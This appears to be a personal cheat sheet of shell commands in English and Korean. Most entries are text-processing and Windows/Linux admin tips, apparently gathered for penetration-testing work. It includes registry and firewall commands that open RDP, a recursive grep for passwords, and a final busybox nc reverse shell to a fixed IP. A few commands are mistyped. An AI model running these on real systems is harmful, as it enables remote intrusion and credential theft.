### If SSH complains about libcrypto or key format
```bash
dos2unix ~/.ssh/id_rsa
vim - clean ~/.ssh/id_rsa (inside vim: type `:wq` then hit Return)
```
### Reboot the computer system - Windows
```bash
shutdown /r
shutdown /r /t 0
```
### firewall
Open RDP
```bash
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
```
### Windows directory overview - recursive
```bash
tree /f .
```
### Whitespace 제거
```bash
# awk
awk '{$1=$1}1' filename.txt > output.txt
# sed (in place)
sed -i 's/[[:space:]]\+$//' filename.txt
- `-i`: 파일을 직접 수정 (백업 없이)
- `s/.../.../`: 치환
- `[[:space:]]\+
: 줄 끝의 모든 공백 문자(스페이스, 탭 등) 제거
# 공백 없이 한 줄로 출력
tr -d '\n\r[:space:]' < hash.txt > hash_oneline.txt
```
### Row 추출
```bash
sed -n '2p;3p;7p' hosts.txt
awk 'NR==2 || NR==3 || NR==7' hosts.txt
cat file.txt | sed -n '2p;3p;7p'
some_command | awk 'NR==2 || NR==3 || NR==7'
# range
sed -n '2,5p' hosts.txt
```
### Column 추출
```bash
# last column
awk '{print $NF}' file.txt
awk '{print $2}' file.txt
awk '{print $2, $3, $7}' file.txt
# 구분자가 공백이 아니라면
awk -F'\t' '{print $2, $3, $7}' file.txt
awk -F',' '{print $2, $3, $7}' file.txt
# 출력 구분자 조정
awk '{print $2 ";" $3 ";" $7}' file.txt
```
### phpinfo
- `DOCUMENT_ROOT`
- `DISABLE_FUNCTIONS`
### grep tip
```bash
grep -Horni <text> dir
grep -Horni password dir 2>/dev/null
```
### print data horizontally
```bash
# 줄 마다 구분지어져 있는 파일 가로로 콤마로 구분지어서 출력하기
paste -sd, <filename>
nmap -sCV $IP -p $(ports -sd, <filename>)
```
### /etc/hosts
```bash
# linux
/etc/hosts
# windows
C:\Windows\System32\drivers\etc\hosts
# /etc/hosts DNS cache troubleshoot in Firefox
about:networking#dns
```
### Encoding error
```bash
Unicode text, UTF-16, little-endian text, with CRLF line terminators
```
- grep은 기본적으로 `UTF-8` 인코딩만 처리
해결 방법
```bash
# 1. iconv로 변환과 동시에 grep 사용
iconv -f utf-16 -t utf-8 fileMonitorBackup.log | grep "검색할단어"
# 2. utf-8로 새 파일 만들고 grep 사용
iconv -f utf-16 -t utf-8 fileMonitorBackup.log -o fileMonitorBackup_utf8.log
grep "error" fileMonitorBackup_utf8.log
# 3. strings 사용
# -el 옵션은 리틀 인디언 UTF-16로 문자열 추출
strings -el fileMonitorBackup.log | grep "error"
```
### Target에 nc wget bash 등등 없을 때 busybox 사용
```bash
# example
busybox nc 192.168.45.235 443 -e /bin/bash
```